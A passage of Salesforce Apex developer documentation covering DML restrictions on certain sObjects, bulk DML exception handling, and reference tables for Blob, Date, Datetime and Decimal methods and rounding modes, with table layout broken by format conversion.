    System.assert(result.isSuccess());
    ids.add(result.getId());
}

/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[select id, (select subject from Tasks) from lead where Id in :ids]) {
    System.assertEquals(1,l.tasks.size());
}

}sObjects That Do Not Support DML Operations

DML operations are not supported with the following sObjects in Apex:

- AccountTerritoryAssignmentRule
- AccountTerritoryAssignmentRuleItem
- ApexComponent
- ApexPage
- BusinessHours
- BusinessProcess
- CategoryNode
- CurrencyType
- DatedConversionRate
- ProcessInstance*
- Profile
- RecordType
- SelfServiceUser*
- StaticResource
- UserAccountTeamMember
- UserTerritory
- WebLink

* You cannot create, update or delete these sObjects in the Web services API.
sObjects That Cannot Be Used Together in DML Operations

Some sObjects require that you perform DML operations on only one type per transaction. For example, you cannot insert an account, then insert a user or a group member in a single transaction. The following sObjects cannot be used together in a transaction:

- **Group**
  You can only insert and update a group in a transaction with other sObjects. Other DML operations are not allowed.

- **GroupMember**
  You can only insert and update a group member in a transaction with other sObjects in Apex code that is saved using Salesforce API version 14.0 and earlier.

- **QueueSObject**

- **User**
  You can insert a user in a transaction with other sObjects in Apex code that is saved using Salesforce API version 14.0 and earlier.
  You can insert a user in a transaction with other sObjects in Apex code that is saved using Salesforce API version 15.0 and later if **UserRole** is specified as null.
  You can update a user in a transaction with other sObjects in Apex code that is saved using Salesforce API version 14.0 and earlier.
  You can update a user in a transaction with other sObjects in Apex code that is saved using Salesforce API version 15.0 and later if the following fields are not also updated:
    - UserRole
    - IsActive
    - ForecastEnabled
    - IsPortalEnabled
    - Username
    - ProfileId

- **UserRole**
- **UserTerritory**
- **Territory**
- **Custom settings in Apex code that is saved using Salesforce API version 17.0 and earlier.**

For these sObjects, there are no restrictions on delete DML operations.

**Important:** The primary exception to this is when you are using the runAs method in a test. For more information, see System Methods on page 313.

You can perform DML operations on more than one type of sObject in a single class using the following process:

1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.

If you are using a Visualforce page with a custom controller, you can only perform DML operations on a single type of sObject within a single request or action. However, you can perform DML operations on different types of sObjects in subsequent requests, for example, you could create an account with a save button, then create a user with a submit button.
Bulk DML Exception Handling

Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call) are handled differently depending on where the original call came from:

- When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the all_or_none parameter of a database DML method was specified as true, the runtime engine follows the “all or nothing” rule: during a single operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML statement.
- When errors occur because of a bulk DML call that originates from the Web services API, the runtime engine attempts at least a partial save:
  1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as validation rules or unique index violations is set aside.
  2. If there were errors during the first attempt, the runtime engine makes a second attempt which includes only those records that did not generate errors. All records that didn’t generate an error during the first attempt are processed, and if any record generates an error (perhaps because of race conditions) it is also set aside.
  3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes only those records that did not generate errors during the first and second attempts. If any record generates an error, the entire operation fails with the error message, “Too many batch retries in the presence of Apex triggers and partial failures.”

Note: During the second and third attempts, governor limits are reset to their original state before the first attempt. See Understanding Execution Governors and Limits on page 188.

Apex Standard Classes and Methods

Apex provides standard classes that contain both static and instance methods for expressions of primitive data types, as well as more complex objects.

Standard static methods are similar to Java and are always of the form:

```
Class.method(args)
```

Standard static methods for primitive data types do not have an implicit parameter, and are invoked with no object context. For example, the following expression rounds the value of 1.75 to the nearest Integer without using any other values.

```
Math.roundToLong(1.75);
```

All instance methods occur on expressions of a particular data type, such as a list, set, or string. For example:

```
String s = 'Hello, world';
Integer i = s.length();
```

Note: If a method is called with an object expression that evaluates to null, the Apex runtime engine throws a null pointer exception.
Some classes use a namespace as a grouping mechanism for their methods. For example, the `Message` class uses the `ApexPages` namespace.

```java
```

The Apex standard classes are grouped into the following categories:

- Primitives
- Collections
- Enums
- sObjects
- System
- Exceptions

## Primitives Methods

### Apex Primitive Methods

Many primitive data types in Apex have methods that can be used to do additional manipulation of the data. The primitives that have methods are:

- Blob
- Boolean
- Date
- Datetime
- Decimal
- Double
- Long
- String
- Time

### Blob Methods

The following is the system static method for Blob.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>valueOf</code></td>
<td>String <code>s</code></td>
<td>Blob</td>
<td>Casts the specified String <code>s</code> to a Blob. For example:</td>
</tr>
</tbody>
</table>
|        |           |             | ```java
String myString = 'StringToBlob';
Blob myBlob = Blob.valueOf(myString);
``` |

The following are the instance methods for Blob.
### Reference Apex Primitive Methods

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| size    | Integer         | Integer     | Returns the number of characters in the blob. For example: 
  ```java
  String myString = 'StringToBlob';
  Blob myBlob = Blob.valueOf(myString);
  Integer size = myBlob.size();
  ``` |
| toString| String          | String      | Casts the blob into a String. |

For more information on Blobs, see [Primitive Data Types](#) on page 28.

### Boolean Methods

The following are the static methods for Boolean.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>valueOf</td>
<td>anyType x</td>
<td>Boolean</td>
<td>Casts x, a history tracking table field of type anyType, to a Boolean. For more information on the anyType data type, see Field Types in the <a href="#">Web Services API Developer's Guide</a>.</td>
</tr>
</tbody>
</table>

For more information on Boolean, see [Primitive Data Types](#) on page 28.

### Date Methods

The following are the system static methods for Date.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| daysInMonth | Integer year, Integer month | Integer | Returns the number of days in the month for the specified `year` and `month` (1=Jan) The following example finds the number of days in the month of February in the year 1960: 
  ```java
  Integer numberDays =
  date.daysInMonth(1960, 2);
  ``` |
| isLeapYear | Integer year           | Boolean     | Returns true if the specified `year` is a leap year |
| newInstance | Integer year, Integer month, Integer date | Date | Constructs a Date from Integer representations of the `year`, `month` (1=Jan), and `day`. The following example creates the date February 17th, 1960: 
  ```java
  Date myDate =
  date.newInstance(1960, 2, 17);
  ``` |
| parse     | String Date            | Date        | Constructs a Date from a String. The format of the String depends on the local date format. The following example works in some locales: 
  ```java
  date mydate = date.parse('12/27/2009');
  ``` |
### Returns the current date in the current user’s time zone

**today**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Date</td>
<td>Returns the current date in the current user’s time zone</td>
</tr>
</tbody>
</table>

### Returns a Date that contains the value of the specified String. The String should use the standard date format “yyyy-MM-dd HH:mm:ss” in the local time zone. For example:

```java
String year = '2008';
String month = '10';
String day = '5';
String hour = '12';
String minute = '20';
String second = '20';
String stringDate = year + '-' + month + '-' + day + ' ' + hour + ':' + minute + ':' + second;

Date myDate = date.valueOf(stringDate);
```

### Casts *, a history tracking table field of type anyType, to a Date. For more information on the anyType data type, see Field Types in the Web Services API Developer’s Guide.

**valueOf**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>anyType x</td>
<td>Date</td>
<td>Casts *, a history tracking table field of type anyType, to a Date. For more information on the anyType data type, see Field Types in the Web Services API Developer’s Guide</td>
</tr>
</tbody>
</table>

The following are the instance methods for Date.

### Adds the specified number of **addlDays** to a Date. For example:

```java
date myDate =
    date.newInstance(1960, 2, 17);
date newDate = mydate.addDays(2);
```

**addDays**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Integer</td>
<td>Date</td>
<td>Adds the specified number of <strong>addlDays</strong> to a Date</td>
</tr>
</tbody>
</table>

### Adds the specified number of **addlMonths** to a Date

**addMonths**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Integer</td>
<td>Date</td>
<td>Adds the specified number of <strong>addlMonths</strong> to a Date</td>
</tr>
</tbody>
</table>

### Adds the specified number of **addlYears** to a Date

**addYears**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Integer</td>
<td>Date</td>
<td>Adds the specified number of <strong>addlYears</strong> to a Date</td>
</tr>
</tbody>
</table>

### Returns the day-of-month component of a Date. For example, February 5, 1999 would be day 5.

**day**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Integer</td>
<td>Returns the day-of-month component of a Date</td>
</tr>
</tbody>
</table>

### Returns the day-of-year component of a Date. For example, February 5, 1999 would be day 36.

**dayOfYear**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Integer</td>
<td>Returns the day-of-year component of a Date</td>
</tr>
</tbody>
</table>

### Returns the number of days between the Date that called the method and the **compDate**. If the Date that calls the method occurs after the **compDate**, the return value is negative. For example:

```java
date startDate =
    date.newInstance(2008, 1, 1);
date dueDate =
    date.newInstance(2008, 1, 30);
integer numberDaysDue =
    startDate.daysBetween(dueDate);
```

**daysBetween**

<table>
<thead>
<tr>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Date</td>
<td>Integer</td>
<td>Returns the number of days between the Date that called the method and the <strong>compDate</strong></td>
</tr>
</tbody>
</table>

239
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>format</td>
<td>String</td>
<td>String</td>
<td>Returns the Date as a string</td>
</tr>
<tr>
<td>isSameDay</td>
<td>Date compDate</td>
<td>Boolean</td>
<td>Returns true if the Date that called the method is the same as the compDate. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>date myDate = date.today();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>date dueDate = date.newInstance(2008, 1, 30);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>boolean dueNow = myDate.isSameDay(dueDate);</td>
</tr>
<tr>
<td>month</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the month component of a Date (1=Jan)</td>
</tr>
<tr>
<td>monthsBetween</td>
<td>Date compDate</td>
<td>Integer</td>
<td>Returns the number of months between the Date that called the method and the compDate, ignoring the difference in dates. For example, March 1 and March 30 of the same year have 0 months between them.</td>
</tr>
<tr>
<td>toStartOfMonth</td>
<td>Date</td>
<td>Date</td>
<td>Returns the first of the month for the Date that called the method. For example, July 14, 1999 returns July 1, 1999.</td>
</tr>
<tr>
<td>toStartOfWeek</td>
<td>Date</td>
<td>Date</td>
<td>Returns the start of the week for the Date that called the method, depending on the context user's locale. For example, the start of a week is Sunday in the United States locale, and Monday in European locales. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>date myDate = date.today();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>date weekStart = myDate.toStartOfWeek();</td>
</tr>
<tr>
<td>year</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the year component of a Date</td>
</tr>
</tbody>
</table>

For more information on Dates, see **Primitive Data Types** on page 28.

**Datetime Methods**

The following are the system static methods for Datetime.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>newInstance</td>
<td>Long l</td>
<td>Datetime</td>
<td>Constructs a DateTime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT</td>
</tr>
<tr>
<td>newInstance</td>
<td>Date Date Time Time</td>
<td>Datetime</td>
<td>Constructs a DateTime from the specified date and time in the local time zone.</td>
</tr>
<tr>
<td>newInstance</td>
<td>Integer year Integer month Integer day</td>
<td>Datetime</td>
<td>Constructs a Datetime from Integer representations of the year, month (1=Jan), and day at midnight in the local time zone. For example:</td>
</tr>
</tbody>
</table>

```java
datetime myDate =
datetime.newInstance(2008, 12, 1);```
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>newInstance</td>
<td>Integer year, Integer month, Integer day, Integer hour, Integer minute, Integer second</td>
<td>Datetime</td>
<td>Constructs a Datetime from Integer representations of the year, month (1=Jan), day, hour, minute, and second in the local time zone. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Datetime myDate = datetime.newInstance(2008, 12, 1, 12, 30, 2);</td>
</tr>
<tr>
<td>newInstanceGmt</td>
<td>Date date, Time time</td>
<td>Datetime</td>
<td>Constructs a DateTime from the specified date and time in the GMT time zone.</td>
</tr>
<tr>
<td>newInstanceGmt</td>
<td>Integer year, Integer month, Integer date</td>
<td>Datetime</td>
<td>Constructs a Datetime from Integer representations of the year, month (1=Jan), and day at midnight in the GMT time zone.</td>
</tr>
<tr>
<td>newInstanceGmt</td>
<td>Integer year, Integer month, Integer date, Integer hour, Integer minute, Integer second</td>
<td>Datetime</td>
<td>Constructs a Datetime from Integer representations of the year, month (1=Jan), day, hour, minute, and second in the GMT time zone.</td>
</tr>
<tr>
<td>now</td>
<td></td>
<td>Datetime</td>
<td>Returns the current Datetime based on a GMT calendar. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Datetime myDateTime = datetime.now();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The format of the returned datetim is: 'MM/DD/YYYY HH:MM PERIOD'</td>
</tr>
<tr>
<td>parse</td>
<td>String datetime</td>
<td>Datetime</td>
<td>Constructs a Datetime from the String datetime in the local time zone and format. The following example works in some locales:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Datetime myDateTime = datetime.now(); string mydtstring = mydatetime.format(); system.assertEquals('12/27/2009 11:46 AM', mydtstring);</td>
</tr>
<tr>
<td>valueOf</td>
<td>String s</td>
<td>Datetime</td>
<td>Returns a Datetime that contains the value of the specified String. The String should use the standard date format “yyy-MM-dd HH:mm:ss” in the local time zone. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>String year = '2008'; string month = '10'; string day = '5'; string hour = '12'; string minute = '20'; string second = '20';</td>
</tr>
</tbody>
</table>
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':' + minute + ':' + second;

Datetime myDate =
    datetime.valueOf(stringDate);

valueOf anyType x Datetime
Casts x, a history tracking table field of type anyType, to a Datetime. For more information on the anyType data type, see Field Types in the Web Services API Developer's Guide.

valueOfGmt String s Datetime
Returns a Datetime that contains the value of the specified String. The String should use the standard date format “yyyy-MM-dd HH:mm:ss” in the GMT timezone.

The following are the instance methods for Datetime.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>addDays</td>
<td>Integer addlDays</td>
<td>Datetime</td>
<td>Adds the specified number of addlDays to a Datetime. For example:</td>
</tr>
</tbody>
</table>
|         |                    |             | datetime myDate =
|         |                    |             |    datetime.newInstance
|         |                    |             |    (1960, 2, 17);
|         |                    |             |    datetime newDate = mydate.addDays(2);
<p>| addHours| Integer addlHours  | Datetime    | Adds the specified number of addlHours to a Datetime                                                                                     |
| addMinutes| Integer addlMinutes | Datetime | Adds the specified number of addlMinutes to a Datetime                                                                                  |
| addMonths| Integer addlMonths | Datetime    | Adds the specified number of addlMonths to a Datetime                                                                                 |
| addSeconds| Integer addlSeconds | Datetime | Adds the specified number of addlSeconds to a Datetime                                                                                 |
| addYears| Integer addlYears  | Datetime    | Adds the specified number of addlYears to a Datetime                                                                                  |
| date    |                    | Date        | Returns the Date component of a Datetime in the local time zone of the context user.                                                    |
| dateGMT |                    | Date        | Return the Date component of a Datetime in the GMT timezone                                                                            |
| day     | Integer            | Integer     | Returns the day-of-month component of a Datetime in the local time zone of the context user. For example, February 5, 1999 08:30:12 would be day 5. |
| dayGmt  | Integer            | Integer     | Returns the day-of-month component of a Datetime in the GMT time zone. For example, February 5, 1999 08:30:12 would be day 5.           |</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dayOfYear</td>
<td>Integer</td>
<td>returnType</td>
<td>Returns the day-of-year component of a Datetime in the local time zone of the context user. For example, February 5, 2008 08:30:12 would be day 36.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>dayOfYearGmt</td>
<td>Integer</td>
<td>returnType</td>
<td>Returns the day-of-year component of a Datetime in the GMT time zone. For example, February 5, 1999 08:30:12 would be day 36.</td>
</tr>
<tr>
<td>format</td>
<td>String</td>
<td>returnType</td>
<td>Returns a Datetime as a string using the local time zone of the current user. If the time zone cannot be determined, GMT is used.</td>
</tr>
<tr>
<td>format</td>
<td>String</td>
<td>returnType</td>
<td>Returns a Datetime as a string using the supplied Java simple date format and the local time zone of the current user. If the time zone cannot be determined, GMT is used. For example:</td>
</tr>
<tr>
<td>format</td>
<td>String</td>
<td>returnType</td>
<td></td>
</tr>
<tr>
<td>format</td>
<td>String</td>
<td>returnType</td>
<td></td>
</tr>
<tr>
<td>formatGmt</td>
<td>String</td>
<td>returnType</td>
<td>Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.</td>
</tr>
<tr>
<td>formatLong</td>
<td>String</td>
<td>returnType</td>
<td>Returns a Datetime using the local time zone of the current user, including seconds and time zone.</td>
</tr>
<tr>
<td>getTime</td>
<td>Long</td>
<td>returnType</td>
<td>Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.</td>
</tr>
<tr>
<td>hour</td>
<td>Integer</td>
<td>returnType</td>
<td>Returns the hour component of a Datetime in the local time zone of the context user.</td>
</tr>
<tr>
<td>hourGmt</td>
<td>Integer</td>
<td>returnType</td>
<td>Returns the hour component of a Datetime in the GMT time zone.</td>
</tr>
</tbody>
</table>
## Datetime Methods

The following are the system static methods for `Datetime`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>isSameDay</td>
<td>Datetime <code>compDt</code></td>
<td>Boolean</td>
<td>Returns true if the Datetime that called the method is the same as the <code>compDt</code> in the local time zone of the context user. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>datetime myDate = datetime.now();</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>datetime dueDate = datetime.newInstance(2008, 1, 30);</code></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td><code>boolean dueNow = myDate.isSameDay(dueDate);</code></td>
</tr>
<tr>
<td>millisecond</td>
<td>Integer</td>
<td>Integer</td>
<td>Return the millisecond component of a Datetime in the local time zone of the context user.</td>
</tr>
<tr>
<td>millisecondGmt</td>
<td>Integer</td>
<td>Integer</td>
<td>Return the millisecond component of a Datetime in the GMT time zone.</td>
</tr>
<tr>
<td>minute</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the minute component of a Datetime in the local time zone of the context user.</td>
</tr>
<tr>
<td>minuteGmt</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the minute component of a Datetime in the GMT time zone.</td>
</tr>
<tr>
<td>month</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the month component of a Datetime in the local time zone of the context user (1=Jan)</td>
</tr>
<tr>
<td>monthGmt</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the month component of a Datetime in the GMT time zone (1=Jan)</td>
</tr>
<tr>
<td>second</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the second component of a Datetime in the local time zone of the context user.</td>
</tr>
<tr>
<td>secondGmt</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the second component of a Datetime in the GMT time zone.</td>
</tr>
<tr>
<td>time</td>
<td>Time</td>
<td>Time</td>
<td>Returns the time component of a Datetime in the local time zone of the context user.</td>
</tr>
<tr>
<td>timeGmt</td>
<td>Time</td>
<td>Time</td>
<td>Returns the time component of a Datetime in the GMT time zone.</td>
</tr>
<tr>
<td>year</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the year component of a Datetime in the local time zone of the context user.</td>
</tr>
<tr>
<td>yearGmt</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the year component of a Datetime in the GMT time zone.</td>
</tr>
</tbody>
</table>

For more information about the Datetime, see [Primitive Data Types](#) on page 28.

## Decimal Methods

The following are the system static methods for `Decimal`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>valueOf</td>
<td>Double <code>d</code></td>
<td>Decimal</td>
<td>Returns a Decimal that contains the value of the specified Double.</td>
</tr>
</tbody>
</table>
The following are the instance methods for Decimal.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>abs</td>
<td></td>
<td>Decimal</td>
<td>Returns the absolute value of the Decimal.</td>
</tr>
<tr>
<td>divide</td>
<td>Decimal divisor, Integer scale</td>
<td>Decimal</td>
<td>Divides this Decimal by divisor, and sets the scale, that is, the number of decimal places, of the result using scale. In the following example, D has the value of 0.190:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal D = 19; D.Divide(100, 3);</td>
</tr>
<tr>
<td>divide</td>
<td>Decimal divisor, Integer scale, Object roundingMode</td>
<td>Decimal</td>
<td>Divides this Decimal by divisor, sets the scale, that is, the number of decimal places, of the result using scale, and if necessary, rounds the value using roundingMode. For more information about the valid values for roundingMode, see Rounding Mode on page 247. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal myDecimal = 12.4567; Decimal divDec = myDecimal.divide(7, 2, System.RoundingMode.UP); system.assertEquals(divDec, 1.78);</td>
</tr>
<tr>
<td>doubleValue</td>
<td></td>
<td>Double</td>
<td>Returns the Double value of this Decimal.</td>
</tr>
<tr>
<td>format</td>
<td>String</td>
<td>String</td>
<td>Returns the String value of this Decimal, using scientific notation if an exponent is needed.</td>
</tr>
<tr>
<td>intValue</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the Integer value of this Decimal.</td>
</tr>
<tr>
<td>longValue</td>
<td>Long</td>
<td>Long</td>
<td>Returns the Long value of this Decimal.</td>
</tr>
<tr>
<td>pow</td>
<td>Integer exponent</td>
<td>Decimal</td>
<td>Returns the value of this decimal raised to the power of exponent. The value of exponent must be between 0 and 32,767. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal myDecimal = 4.12; Decimal powDec = myDecimal.pow(2); system.assertEquals(powDec, 16.9744);</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-----------</td>
<td>-----------</td>
<td>-------------</td>
<td>-------------</td>
</tr>
<tr>
<td>precision</td>
<td>Integer</td>
<td></td>
<td>Returns the total number of digits for the Decimal. For example, if the Decimal value was 123.45, <code>precision</code> returns 5. If the Decimal value is 123.123, <code>precision</code> returns 6. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>```java</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal D1 = 123.45;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Integer precision1 = D1.precision();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>system.assertEquals(precision1, 5);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal D2 = 123.123;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Integer precision2 = D2.precision();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>system.assertEquals(precision2, 6);</td>
</tr>
<tr>
<td>round</td>
<td>Long</td>
<td></td>
<td>Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations. For more information about half-even rounding mode, see Rounding Mode on page 247. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>```java</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal D1 = 5.5;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Long L1 = D1.round();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>system.assertEquals(L1, 6);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal D2= 5.2;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Long L2= D2.round();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>system.assertEquals(L2, 5);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Decimal D3= -5.7;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Long L3= D3.round();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>system.assertEquals(L3, -6);</td>
</tr>
<tr>
<td>round</td>
<td>System.RoundingMode</td>
<td>Long</td>
<td>Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode specified by <code>roundingMode</code>. For more information about the valid values for <code>roundingMode</code>, see Rounding Mode on page 247.</td>
</tr>
<tr>
<td>scale</td>
<td>Integer</td>
<td></td>
<td>Returns the scale of the Decimal, that is, the number of decimal places.</td>
</tr>
<tr>
<td>setScale</td>
<td>Integer scale</td>
<td>Decimal</td>
<td>Sets the scale of the Decimal to the given number of decimal places, using half-even rounding, if necessary. Half-even rounding mode rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. For more information about half-even rounding mode, see</td>
</tr>
</tbody>
</table>

If you use `MyDecimal.pow(0), 1 is returned.
The `Math method` `pow` does accept negative values.
### Description

The value of `scale` must be between −33 and 33.

If you do not explicitly set the scale for a Decimal, the scale is determined by the item from which the Decimal is created:

- If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
- If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
- If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point.

### Rounding Mode on page 247

For more information on Rounding Mode, see Primitive Data Types on page 28.

### Reference Apex Primitive Methods

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| **setScale**     | Integer `scale`, System.RoundingMode `roundingMode` | Decimal | Sets the scale of the Decimal to the given number of decimal places, using the rounding mode specified by `roundingMode`, if necessary. For more information about the valid values for `roundingMode`, see Rounding Mode on page 247. The value of `scale` must be between −32,768 and 32,767. If you do not explicitly set the scale for a Decimal, the scale is determined by the item from which the Decimal is created:
  - If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query.
  - If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String.
  - If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point. |
| **stripTrailingZeros** | Decimal | Decimal | Returns the Decimal with any trailing zeros removed. |
| **toPlainString** | | String | Returns the String value of this Decimal, without using scientific notation. |

For more information on Decimal, see Primitive Data Types on page 28.

### Rounding Mode

Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision. Each rounding mode indicates how the least significant returned digit of a rounded result is to be calculated. The following are the valid values for `roundingMode`. 
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CEILING</td>
<td>Rounds towards positive infinity. That is, if the result is positive, this mode behaves the same as the <strong>UP</strong> rounding mode; if the result is negative, it behaves the same as the <strong>DOWN</strong> rounding mode. Note that this rounding mode never decreases the calculated value. For example:</td>
</tr>
<tr>
<td></td>
<td>- Input number 5.5: CEILING round mode result: 6</td>
</tr>
<tr>
<td></td>
<td>- Input number 1.1: CEILING round mode result: 2</td>
</tr>
<tr>
<td></td>
<td>- Input number -1.1: CEILING round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>- Input number -2.7: CEILING round mode result: -2</td>
</tr>
<tr>
<td>DOWN</td>
<td>Rounds towards zero. This rounding mode always discards any fractions (decimal points) prior to executing. Note that this rounding mode never increases the magnitude of the calculated value. For example:</td>
</tr>
<tr>
<td></td>
<td>- Input number 5.5: DOWN round mode result: 5</td>
</tr>
<tr>
<td></td>
<td>- Input number 1.1: DOWN round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>- Input number -1.1: DOWN round mode result: -1</td>
</tr>
<tr>
<td></td>
<td>- Input number -2.7: DOWN round mode result: -2</td>
</tr>
<tr>
<td>FLOOR</td>
<td>Rounds towards negative infinity. That is, if the result is positive, this mode behaves the same as the <strong>DOWN</strong> rounding mode; if negative, this mode behaves the same as the <strong>UP</strong> rounding mode. Note that this rounding mode never increases the calculated value. For example:</td>
</tr>
<tr>
<td></td>
<td>- Input number 5.5: FLOOR round mode result: 5</td>
</tr>
<tr>
<td></td>
<td>- Input number 1.1: FLOOR round mode result: 1</td>
</tr>
<tr>
<td></td>
<td>- Input number -1.1: FLOOR round mode result: -2</td>
</tr>
<tr>
<td></td>
<td>- Input number -2.7: FLOOR round mode result: -3</td>
</tr>
<tr>
<td>HALF_DOWN</td>
